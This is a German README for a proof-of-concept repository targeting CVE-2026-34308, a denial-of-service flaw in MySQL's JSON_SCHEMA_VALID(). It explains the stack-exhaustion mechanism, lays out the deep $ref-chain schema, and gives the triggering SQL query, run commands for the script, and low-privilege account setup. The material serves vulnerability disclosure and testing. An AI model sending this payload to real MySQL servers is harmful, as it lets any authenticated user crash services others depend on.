
# Proof-of-Concept für CVE-2026-34308, eine Denial-of-Service-Schwachstelle in der JSON-Komponente von MySQL Server Demonstriert Stack-Erschöpfung über tiefe `$ref`-Ketten in `JSON_SCHEMA_VALID()`, die einen Serverabsturz verursacht. Enthält ein Python-PoC-Skript und eine technische Analyse.
Offizielles Hersteller-Bulletin: Oracle Critical Patch Update Advisory — April 2026.
Sicherheitslücke in Oracle MySQL Server (Komponente: Server: JSON).
Unterstützte betroffene Versionen: 8.0.0–8.0.45, 8.4.0–8.4.8 und 9.0.0–9.6.0.
Die Sicherheitslücke ermöglicht es einem Benutzer mit niedrigen Rechten, den MySQL Server zum Absturz zu bringen.
CVSS 3.1 Basis-Score: 6.5 (nur Auswirkungen auf die Verfügbarkeit)
CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Beobachteter Mechanismus: Tiefe Rekursion, während MySQL JSON_SCHEMA_VALID() gegen ein JSON-Schema auswertet, das eine lange lineare Kette von $ref-Zeigern enthält, ohne eine effektive Tiefenbegrenzung während der Schema-Kompilierung/-Validierung – was zu Stack-Erschöpfung und einem Hänger oder wiederholbarem Absturz führt.
Aufrufkette (konzeptionell):
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ interne JSON-Schema-Validierung → wiederholte $ref-Auflösung
→ Stack-Erschöpfung → Hänger / Absturz
Für diesen PoC reicht jedes authentifizierte MySQL-Konto aus: Gewähren Sie nur USAGE auf *.* (die minimale MySQL-Berechtigung – Fähigkeit zur Verbindung – ohne SELECT, Tabellenzugriff oder Admin-Rollen). Wenn der Benutzer eine Sitzung öffnen und SELECT JSON_SCHEMA_VALID(...) ausführen kann, kann er die Bedingung auslösen.
poc_schema_dos.pyErstellt ein JSON-Schema mit einer linearen $ref-Kette (Beispieltiefe 1200):
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
An MySQL gesendet als: SELECT JSON_SCHEMA_VALID('<schema>', '"x"');
Beim Testen gegen verwundbare Builds wurde beobachtet, dass dies den Server innerhalb von etwa einer Sekunde zum Absturz bringt (das genaue Timing hängt von Hardware, Build-Flags und Schema-Tiefe ab).
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
Zum Testen eines Kontos mit niedrigen Rechten:
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
Dann: python3 poc_schema_dos.py --user test --password password
6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
poc_schema_dos.py: Proof-of-Concept-SkriptREADME.md: Diese Datei